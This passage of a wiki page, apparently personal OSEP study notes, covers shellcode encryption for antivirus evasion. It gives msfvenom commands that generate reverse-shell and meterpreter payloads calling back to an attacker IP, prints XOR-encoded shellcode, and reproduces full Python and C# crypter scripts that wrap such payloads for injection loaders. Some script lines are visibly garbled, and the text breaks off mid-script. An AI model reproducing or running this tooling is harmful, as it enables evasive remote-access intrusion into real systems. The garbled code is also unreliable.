&lt;br /&gt;
* Rust&lt;br /&gt;
&lt;br /&gt;
* Raw&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode injection techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
From github: &amp;quot;A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Assembly Injection&lt;br /&gt;
&lt;br /&gt;
* Shellcode Runner&lt;br /&gt;
&lt;br /&gt;
* Classic Injection&lt;br /&gt;
&lt;br /&gt;
* Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Local Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Asychronous Procedure Call Injection&lt;br /&gt;
&lt;br /&gt;
* Process Hollowing&lt;br /&gt;
&lt;br /&gt;
* Inter-Process Mapped View&lt;br /&gt;
&lt;br /&gt;
* Atom Bombing&lt;br /&gt;
&lt;br /&gt;
== Shellcode Encryptors ==&lt;br /&gt;
&lt;br /&gt;
=== Shellcode Encryptors - Helper code ===&lt;br /&gt;
&lt;br /&gt;
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.&lt;br /&gt;
&lt;br /&gt;
==== ShellcodeCrypter-bin.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin&lt;br /&gt;
&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa&lt;br /&gt;
[i] Generating payload for path shell.bin.&lt;br /&gt;
[i] Encoding payload with type xor and key 0xfa&lt;br /&gt;
[+] Encoded payload (CSharp):&lt;br /&gt;
// Payload xor-encoded with key 0xfa&lt;br /&gt;
byte[] buf = new byte[68] {&lt;br /&gt;
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,&lt;br /&gt;
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,&lt;br /&gt;
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,&lt;br /&gt;
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,&lt;br /&gt;
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,&lt;br /&gt;
0xf1,0x37,0x7a&lt;br /&gt;
};&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
    {&lt;br /&gt;
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# ShellcodeCrypter-bin.py&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;path&amp;quot;, help=&amp;quot;the path to load the raw shellcode payload from&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;/tmp/payload.bin&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the input path&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.&amp;quot;)&lt;br /&gt;
try:&lt;br /&gt;
    with open(args.path, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
        payload = f.read()&lt;br /&gt;
except:&lt;br /&gt;
    exit(f&#039;{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}&#039;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    encodedPayload = []&lt;br /&gt;
    payloadFormatted = &amp;quot;&amp;quot;&lt;br /&gt;
    for byte in payload:&lt;br /&gt;
        byteInt = int(byte)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        encodedPayload.append(&amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4))&lt;br /&gt;
    payLen = len(encodedPayload)&lt;br /&gt;
    encodedPayload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(encodedPayload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted += f&amp;quot;// Payload {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== shellcodeCrypter-msfvenom.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp&lt;br /&gt;
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 130 bytes&lt;br /&gt;
Final size of csharp file: 691 bytes&lt;br /&gt;
[i] Encoding payload with type xor and key 250&lt;br /&gt;
[+] Encoded payload (C++):&lt;br /&gt;
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
// xor-encoded with key 0xfa&lt;br /&gt;
unsigned char buffer[] =&lt;br /&gt;
    &amp;quot;\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8&amp;quot;&lt;br /&gt;
    &amp;quot;\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3&amp;quot;&lt;br /&gt;
    &amp;quot;\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a&amp;quot;&lt;br /&gt;
    &amp;quot;\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2&amp;quot;&lt;br /&gt;
    &amp;quot;\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf&amp;quot;&lt;br /&gt;
    &amp;quot;\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d&amp;quot;&lt;br /&gt;
    &amp;quot;\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2&amp;quot;&lt;br /&gt;
    &amp;quot;\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17&amp;quot;&lt;br /&gt;
\x05\x1c;&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ 0xfa);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;lhost&amp;quot;, help=&amp;quot;listener IP to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;lport&amp;quot;, help=&amp;quot;listener port to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
parser.add_argument(&amp;quot;payload&amp;quot;, help=&amp;quot;the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;windows/x64/meterpreter/reverse_tcp&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the preferred payload&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
result = subprocess.run([&#039;msfvenom&#039;, &#039;-p&#039;, args.payload, f&amp;quot;LHOST={args.lhost}&amp;quot;, f&amp;quot;LPORT={args.lport}&amp;quot;, &#039;exitfunc=thread&#039;, &amp;quot;-f&amp;quot;, &amp;quot;csharp&amp;quot;], stdout=subprocess.PIPE)&lt;br /&gt;
if result.returncode != 0:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
# Get the payload bytes and split them&lt;br /&gt;
payload = re.search(r&amp;quot;{([^}]+)}&amp;quot;, result.stdout.decode(&amp;quot;utf-8&amp;quot;)).group(1).replace(&#039;\n&#039;, &#039;&#039;).split(&amp;quot;,&amp;quot;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    for i, byte in enumerate(payload):&lt;br /&gt;
        byteInt = int(byte, 16)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        payload[i] = &amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4)&lt;br /&gt;
    payLen = len(payload)&lt;br /&gt;
    payload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(payload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted = f&amp;quot;// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;// {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
public class AesEncryptionExample&lt;br /&gt;
{&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };&lt;br /&gt;
        byte[] key = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF0123456789ABCDEF&amp;quot;); // 32-byte key&lt;br /&gt;
        byte[] iv = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF&amp;quot;); // 16-byte IV&lt;br /&gt;
        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);&lt;br /&gt;
        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace(&amp;quot;-&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Encrypted shellcode hex: &amp;quot; + encryptedHex);&lt;br /&gt;
    }&lt;br /&gt;
    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] encrypted;&lt;br /&gt;
        using (AesManaged aes = new AesManaged())&lt;br /&gt;
        {&lt;br /&gt;
            aes.Key = key;&lt;br /&gt;
            aes.IV = iv;&lt;br /&gt;
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);&lt;br /&gt;
            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);&lt;br /&gt;
        }&lt;br /&gt;
        return encrypted;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import array, base64, random, string&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from hashlib import sha256&lt;br /&gt;
import argparse, subprocess, os&lt;br /&gt;
def main():&lt;br /&gt;
	args = parse_args()&lt;br /&gt;
	lhost = args.lhost&lt;br /&gt;
	lport = args.lport&lt;br /&gt;
	key = args.key&lt;br /&gt;
	if not key:&lt;br /&gt;
		key = get_random_string(32)&lt;br /&gt;
	payload = args.payload&lt;br /&gt;
	method = args.method&lt;br /&gt;
	format = args.format&lt;br /&gt;
	&#039;&#039;&#039; generate msfvenom payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Generating MSFVENOM payload...&amp;quot;)&lt;br /&gt;
	result = subprocess.run([&#039;msfvenom&#039;,&lt;br /&gt;
		&#039;-p&#039;, payload,&lt;br /&gt;
		&#039;LPORT=&#039; + lport,&lt;br /&gt;
		&#039;LHOST=&#039; + lhost,&lt;br /&gt;
#		&#039;-b&#039;, &#039;\\x00&#039;,&lt;br /&gt;
		&#039;-f&#039;, &#039;raw&#039;,&lt;br /&gt;
		&#039;-o&#039;, &#039;./msf.bin&#039;],&lt;br /&gt;
		capture_output=False)&lt;br /&gt;
	f = open(&amp;quot;./msf.bin&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
	buf = f.read()&lt;br /&gt;
	f.close()&lt;br /&gt;
	print(&amp;quot;[+] key and payload will be written to key.b64 and payload.b64&amp;quot;)&lt;br /&gt;
	&#039;&#039;&#039; encrypt the payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Encrypting the payload, key=&amp;quot; + key + &amp;quot;...&amp;quot;)&lt;br /&gt;
	hkey = hash_key(key)&lt;br /&gt;
	encrypted = encrypt(hkey, hkey[:16], buf)&lt;br /&gt;
	b64 = base64.b64encode(encrypted)&lt;br /&gt;
	f = open(&amp;quot;./key.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(key)&lt;br /&gt;
	f.close()&lt;br /&gt;
	f = open(&amp;quot;./payload.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
	f.close()&lt;br /&gt;
	if format == &amp;quot;b64&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; base64 output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] Base64 output:&amp;quot;)&lt;br /&gt;
		print(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
	if format == &amp;quot;c&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; c output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] C output:&amp;quot;)&lt;br /&gt;
		hex_string = &#039;unsigned char payload[] ={0x&#039;;&lt;br /&gt;
		hex = &#039;0x&#039;.join(&#039;{:02x},&#039;.format(x) for x in encrypted)&lt;br /&gt;
		hex_string = hex_string + hex[:-1] + &amp;quot;};&amp;quot;&lt;br /&gt;
		print(hex_string)&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
def encrypt(key,iv,plaintext):&lt;br /&gt;
	key_length = len(key)&lt;br /&gt;
	if (key_length &amp;gt;= 32):&lt;br /&gt;
		k = key[:32]&lt;br /&gt;
	elif (key_length &amp;gt;= 24):&lt;br /&gt;
		k = key[:24]&lt;br /&gt;
	else:&lt;br /&gt;
		k = key[:16]&lt;br /&gt;
	aes = AES.new(k, AES.MODE_CBC, iv)&lt;br /&gt;
	pad_text = pad(plaintext, 16)&lt;br /&gt;
	return aes.encrypt(pad_text)&lt;br /&gt;
def hash_key(key):&lt;br /&gt;
	h = &#039;&#039;&lt;br /&gt;
	for c in key:&lt;br /&gt;
		h += hex(ord(c)).replace(&amp;quot;0x&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
	h = bytes.fromhex(h)&lt;br /&gt;
	hashed = sha256(h).digest()&lt;br /&gt;
	return hashed&lt;br /&gt;
def pad(data, block_size):&lt;br /&gt;
	padding_size = (block_size - len(data)) % block_size&lt;br /&gt;
	if padding_size == 0:&lt;br /&gt;
		padding_size = block_size&lt;br /&gt;
	padding = (bytes([padding_size]) * padding_size)&lt;br /&gt;
	return data + padding&lt;br /&gt;
def parse_args():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
	parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lport&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The local port that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
